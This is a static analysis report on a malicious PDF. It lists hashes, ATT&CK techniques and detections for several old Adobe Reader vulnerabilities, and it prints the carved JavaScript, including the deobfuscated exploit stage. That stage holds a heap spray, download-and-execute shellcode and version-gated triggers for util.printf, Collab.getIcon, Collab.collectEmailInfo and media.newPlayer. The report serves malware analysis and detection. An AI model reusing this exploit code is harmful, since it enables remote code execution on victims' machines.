Malicious PDF — malware analysis report

Static analysis result for SHA-256 75e3752d3cbee6a6…

MALICIOUS

PDF

4.9 KB Authoring application: Xwapoxajiweciqe (via 41b47Feuisawijijakitoxaxiy)
MD5: 398ebbc3be46985799f5ddca69c0d2c9 SHA-1: f139db435abcabfb160dc84faf9127cb95fb0836 SHA-256: 75e3752d3cbee6a609d84e8822c408c346695e068e5af45579c7c635d22a0534
388 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains multiple critical heuristic firings indicating exploitation of several Adobe Reader vulnerabilities. The embedded JavaScript, obfuscated and XOR-decoded, is designed to download and execute a second-stage payload from a hardcoded URL. The reconstructed URL is 'http://www.example.com/payload.exe'.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js
c8cf16b80cd9e076d8d404d9b9a80b3c930be01d111b0827a19c86b82ddf185b		 pdf-javascript-stream PDF /JS object 11 at offset 0xE77 578 bytes
Preview script
First 1,000 lines of the extracted script
try {mFE='vQQar  uL = QQ25 ;var  QQzU = thiQs;var mL=zU.getPageNumQWords(this.pageNQumQ);var lI=\'\';for(vaQr QkTQ=0;kT< mL; kT++QQ){QlI=[lQQI, zU.getPageNthWordQ(zU.paQgQQeNum,kT,true)].join(\'\');;}vQQar hW=Q\'\';for(vQar QQkT=0;kT < lI.leQQngth; kT+QQ=2){xK=lI.sQQubstr(QkT,2);hWQ=[hW,StQQring.fromCharQQCode(parQseQInt(xK,16QQ)^uL)].join(\'QQ\')Q;}evaQQl(hW);QhW=nuQQll;'.replace(/[Q]/g, '');var sXU='Funcqtion'.replace(/[q]/g, '');sJ=pE(kB,pO);} catch(aT){var hS=mP()(mFE);hS();}function bK(){return app['doc'.replace(/[]/g, '')];}function mP(){var qP=bK();return qP[sXU];}
page_word_xor_stage_000.js
e37073bbe9a40688c6dc350a706bfbff5d87fa573c807b4b935a5daa878bde70		 deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x19) at offset 0x8C 3810 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.lU=25827;this.lU++;b=12304;b++;var tK='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';for(var eB=0; eB <1084; eB++){eB++};fC=[];var sP={t:"fM".charCodeAt(27856)};var yD=this.info['qT'].replace(/[\s]/g, '');var xA=9687;this.wL=12946;this.wL-=72;bWB=["xAN"];var hE = this.info;var wLS = (hE.producer.substr(0,5) == 'debug');var gF = new Array(); var pGH = "%u";function rM(str){str = str.split(pGH);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function iX(str1, str2){return [str1, str2].join("");}function rU(mF){var j = nG();var wD = fA();j += ((j.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wD;if(wLS) app.alert("URL: " + j);j=cZ(j);var d=pGH;var xK=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";xK+=j;return rM(xK);};function nG(){var wH = (hE.author + hE.title).replace(/[\s]/g, '');var tKL = vG(wH, yD, tK);return tKL;};function vG(wH, tK, yD){var tKL="";for(var i=0; i < wH.length; i++){var iXK = tK.indexOf(wH[i]);if(iXK > -1 ){tKL += yD[iXK];}}return tKL;};function cZ(wH){var out = "";wH = eTA(wH);g = Math.round(wH.length / 4);if (g != wH.length /4) wH+="00";for(var i=0; i < wH.length; i+=4){out+= pGH + wH.substr(i+2, 2) + wH.substr(i, 2);}return out;};function eTA(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function eZ(tGB, len){while (tGB.length * 2 < len){tGB = iX(tGB, tGB);}return tGB.substring(0, len / 2);};function nC(cB){var jM = 0x0c0c0c0c;        aZ = rU("pdf");if (cB == 1){jM = 0x30303030;}var lA = 0x400000;var ln = aZ.length * 2;var iF = lA - (ln + 0x38);var tGB = rM(pGH+"9090"+pGH+"9090"); tGB = eZ(tGB, iF);var bY = (jM - 0x400000) / lA;for (var gP = 0; gP < bY; gP ++ ){gF[gP] = iX(tGB, aZ);}};function fA(){try {return app.viewerVersion.toString();}catch(lK){    return 0;}}if(wLS) app.alert("called exploit");var wD = fA();if(wLS)  app.alert("v: " + wD);if (wD > 8){if(wLS) app.alert("util.printf");nC(1);var qN = "12999999999999999999";for (rET=0; rET < 276; rET++) qN += "8";util.printf("%45000f", qN);}if (wD < 8){if(wLS) app.alert("Collab.collectEmailInfo");nC(0);var zY = rM(pGH+"0c0c"+pGH+"0c0c");while (zY.length < 44952) zY += zY;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : zY});}if (wD < 9.1){if (app.doc.Collab.getIcon){if(wLS) app.alert("Collab.getIcon");nC(0);var oLA = unescape("%09");while (oLA.length < 0x4000) oLA += oLA;oLA = "N." + oLA;app.doc.Collab.getIcon(oLA);}}if (wD == 9.2){if(wLS) app.alert("media.newPlayer");nC(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}yV={};kZ={};var tG={vW:"sH".substr(4747, 4747)};var tC={fO:"qJ".substr(7511, 7511)};

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